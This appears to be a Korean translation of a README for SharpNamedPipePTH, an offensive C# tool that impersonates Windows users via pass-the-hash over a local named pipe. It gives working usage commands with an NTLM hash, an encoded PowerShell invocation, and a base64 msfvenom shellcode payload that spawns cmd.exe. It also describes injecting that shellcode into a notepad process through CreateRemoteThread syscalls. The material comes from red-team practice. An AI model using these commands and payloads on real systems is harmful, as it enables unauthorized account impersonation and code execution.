
토큰 가장을 위해 명명된 파이프로 해시 전달
이 프로젝트는 로컬 Named Pipe에서 Pass-the-Hash 인증을 사용하여 사용자 가장(Impersonation)을 수행하는 C# 도구입니다. 사용하려면 로컬 관리자 권한 또는 SEImpersonate 권한이 필요합니다. 설명을 위한 블로그 게시물이 있습니다:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
이 프로젝트는 Sharp-SMBExec 프로젝트의 코드를 기반으로 합니다.
과거에 Offensive Security 프로젝트 상황에서 낮은 권한 사용자 계정의 NTLM 해시를 이미 가지고 있었고, 현재 침해된 시스템에서 해당 사용자에 대한 셸이 필요했지만 기존 공개 도구로는 불가능했던 경우가 있었습니다. 그러한 상황에 두 가지 사실을 더 상상해 보십시오. NTLM 해시를 크랙할 수 없었고 그리고 피해자 사용자의 프로세스가 없어서 그 안에 셸코드를 실행하거나 해당 프로세스로 마이그레이션할 수 없었습니다. 일부에게는 터무니없는 극단적인 사례처럼 들릴 수 있습니다. 하지만 저는 그런 상황을 여러 번 경험했습니다. 한 번의 엔게이지먼트에서만이 아니라, 특정 상황에 맞는 올바른 도구/기술을 찾는 데 많은 시간을 소비했습니다.
제가 도구/기술에 대해 가진 개인적인 목표는 다음과 같습니다:
낮은 권한 계정을 가장할 수 있어야 합니다. 엔게이지먼트 목표에 따라 CEO, HR 계정, SAP 관리자 등의 특정 사용자로 시스템에 접근해야 할 수 있습니다.안타깝게도 가장된 사용자는 네트워크 인증이 허용되지 않습니다. 새 프로세스가 제한된 가장 토큰(Impersonation Token)을 사용하기 때문입니다. 따라서 이 기법은 다른 사용자로 로컬 작업을 수행할 때만 사용할 수 있습니다.
SharpNamedPipePTH를 사용하는 두 가지 방법이 있습니다. 바이너리를 실행하거나(인수 있거나 없음):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
또는 다른 사용자로 셸코드를 실행할 수 있습니다:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
이는 msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0 입니다.
아직 셸코드 실행에 만족하지 않습니다. 현재는 가장된 사용자로 notepad를 생성하고 D/Invoke CreateRemoteThread Syscall을 통해 해당 새 프로세스에 셸코드를 주입하기 때문입니다. 여전히 백그라운드에서 프로세스를 생성하거나 메모리 할당을 위해 대상 사용자의 프로세스 없이 셸코드를 실행할 방법을 찾고 있습니다.